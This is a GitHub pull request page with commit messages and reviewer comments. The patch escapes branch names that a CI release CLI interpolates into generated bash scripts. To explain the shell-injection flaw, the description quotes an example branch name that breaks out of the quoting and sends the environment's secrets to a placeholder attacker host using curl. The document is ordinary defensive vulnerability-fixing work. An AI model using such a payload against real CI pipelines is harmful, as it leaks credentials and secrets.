Skip to content

Escape branch name in release scripts; honour --debug in validate - #108

Open
evilfurryone wants to merge 2 commits into
masterfrom
fix/branchname-shell-escape
Open

evilfurryone wants to merge 2 commits into
masterfrom
fix/branchname-shell-escape

Conversation

@evilfurryone

Copy link
Copy Markdown

What

ci release deploy, diff and validate embed --branchname (and the environment
name derived from it) in a single-quoted bash assignment without escaping. Git allows
quotes and other shell metacharacters in branch names, so a name like
x'; curl attacker/$(env|base64); # closed the literal and ran as shell code with
the CI job's secrets in the environment.

Changes

  • Add common.EscapeSingleQuoted, which rewrites ' as '\'', and apply it at all
    seven interpolation points. Escaping is used instead of stripping so the value the
    chart receives via --set silta-release.branchName is unchanged.
  • Make the helm dry-run step in ci release validate respect --debug. It was the
    only generated script that always executed.
  • Fix bufferedExec printing nothing in debug mode (Sprintf instead of Printf),
    flagged by go vet.
  • Add a regression test that runs all three subcommands with a crafted branch name
    and checks the escaped assignments in the debug output.

Risk

Low. Behaviour is unchanged for branch names without a single quote, which is every
branch name in normal use. go vet ./... and go test ./tests pass.

Severity note

Medium in a standard CircleCI setup, since anyone who can push a branch can already
edit the pipeline config. High for any consumer running the CLI from a trusted
workflow against an untrusted head ref, such as a GitHub Actions pull_request_target
job. The CLI cannot know which, so it is fixed regardless.

ci release deploy, diff and validate interpolate --branchname (and the
environment name derived from it) into a single-quoted bash assignment.
Git allows quotes and other shell metacharacters in branch names, so a
name like "x'; curl ...; #" closed the literal and ran as shell code in
the CI job's environment.

Add common.EscapeSingleQuoted, which rewrites ' as '\'' so the value is
preserved exactly, and apply it at all seven interpolation points. The
value is a helm --set input used by the charts, so escaping is used
rather than stripping characters to avoid changing what the chart sees.

Add a regression test covering the three subcommands.
The helm dry-run step in ci release validate always executed, even with
--debug set, unlike every other generated script in the CLI. Print the
command instead of running it when debug is on, matching pipedExec.

Fix bufferedExec (used by ci release info) which called fmt.Sprintf in
its debug branch and so printed nothing; go vet flagged it.

Extend the branch name escaping test to check validate's debug output
directly now that it is printed.
Copilot AI lite review requested due to automatic review settings September 22, 2026 08:35

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟢 Approval recommended

The reviewed code paths are correct; only a minor documentation notation issue remains.

Review effort: Lite
Findings: 1 Low severity

Open (1)
What changed in this PR

Secures generated release scripts against shell injection from branch names and makes validate honor --debug.

Changes:

  • Adds single-quote escaping for all branch/environment interpolations.
  • Prevents validate’s Helm dry-run from executing in debug mode.
  • Fixes debug command output and adds regression coverage.
File Description
internal/​common/​shell.go Adds shell escaping helper.
cmd/​ciReleaseDeploy.go Escapes deploy script values.
cmd/​ciReleaseDiff.go Escapes diff script values.
cmd/​ciReleaseValidate.go Escapes values and honors debug mode.
cmd/​root.go Fixes debug output.
tests/​release_test.go Adds branch-name injection regression tests.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread internal/common/shell.go

// EscapeSingleQuoted makes a value safe to embed inside a single-quoted bash
// string literal. A single quote cannot be escaped inside single quotes, so
// each one is rewritten as: close quote, escaped quote, reopen quote ('\”).

@operinko operinko left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With the exception of the singular double-quote comment that Copilot also flagged, this looks to be solid to me.

@Jancis
Jancis self-requested a review September 22, 2026 10:25

@Jancis Jancis left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Besides the fact that this is not an issue, this fix is too specific - it should use a regular expression pattern for a branch name according to git spec, discard errand characters.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants